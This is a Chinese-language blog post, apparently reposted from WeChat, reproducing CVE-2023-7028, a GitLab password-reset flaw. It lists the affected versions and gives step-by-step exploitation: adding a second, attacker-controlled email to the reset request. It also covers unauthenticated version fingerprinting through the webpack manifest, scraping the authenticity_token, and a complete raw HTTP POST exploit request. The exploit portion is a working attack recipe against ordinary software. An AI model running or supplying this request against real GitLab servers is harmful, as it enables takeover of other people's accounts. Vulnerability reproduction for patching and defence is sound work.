GitLab 任意用户密码重置漏洞复现(CVE-2023-7028)
2024-1-13 12:48:23 Author: 格格巫和蓝精灵(查看原文) 阅读量:109 收藏

GitLab 任意用户密码重置漏洞(CVE-2023-7028)

漏洞描述:

2024年1月11日,Gitlab官方披露CVE-2023-7028 GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab仅对可信地址开放。

漏洞利用条件:
1、需获取系统已有用户注邮箱地址
2、满足影响版本

16.1 <=GitLab CE<16.1.6
16.2 <=GitLab CE<16.2.8
16.3 <=GitLab CE<16.3.6
16.4 <=GitLab CE<16.4.4
16.5 <=GitLab CE<16.5.6
16.6 <=GitLab CE<16.6.4
16.7 <=GitLab CE<16.7.2
16.1 <=GitLab EE<16.1.6
16.2 <=GitLab EE<16.2.8
16.3 <=GitLab EE<16.3.6
16.4 <=GitLab EE<16.4.4
16.5 <=GitLab EE<16.5.6
16.6 <=GitLab EE<16.6.4
16.7 <=GitLab EE<16.7.2

复现过程

这里被找回邮箱为个人注册邮箱地址,真实环境中需先获取目标邮箱地址

访问找回密码页面:/users/password/new

填写被找回邮箱地址,然后点击抓包

修改请求包为:user[email][]=目标邮箱地址&user[email][]=攻击者邮箱地址

成功复现

其实这里看到收件人邮箱已经变为两个了

半自动化

关于自动化主要有两个坑点,第一是如何获取版本号,第二是在找回密码的阶段会需要有一个uauthenticity_token

下面针对上面2点提出解决办法:

1、获取版本

公开的一些获取版本的办法大多是需要鉴权的,这里分享一种不需要登录的办法

访问/assets/webpack/manifest.json

获取hash值去GitHub对比版本号
https://github.com/righel/gitlab-version-nse/blob/main/gitlab_hashes.json

可以发现版本是gitlab-ce 16.5.0

对比发现是正确的

2、authenticity_token获取

访问找回密码界面/users/password/new

查看源代码搜索authenticity_token即可

构造http请求包

POST /users/password HTTP/1.1
Host: xx.com
Origin: http://xx.com
Content-Type: application/x-www-form-urlencoded
Referer: http://xx.com/users/password/new8
Cookie: preferred_language=zh_CN; _gitlab_session=e00664e028c369cdd6dff19f6d7b76bf

authenticity_token=vJBEyoTkR10UJNhrFcoJOYftTHaxPj3MHVSJusNt85SyyZ60RajsS2RsgkMetn7hd_k891ZUNCdePjdW5uUW6w&user%5Bemail%5D%5B%5D=目标邮箱地址&user%5Bemail]%5D%5B%5D=攻击者邮箱地址

补充

Reference:

  1. https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/#account-takeover-via-password-reset-without-user-interactions

文章来源: http://mp.weixin.qq.com/s?__biz=MzI5NDg0ODkwMQ==&mid=2247485742&idx=1&sn=30b8e858fd596163cd1ec3dfae11481f&chksm=ed9d612b83356fac37c8aa818c7884f898cd228edffbe37d2658cacd618ba3feecff9bbaf581&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh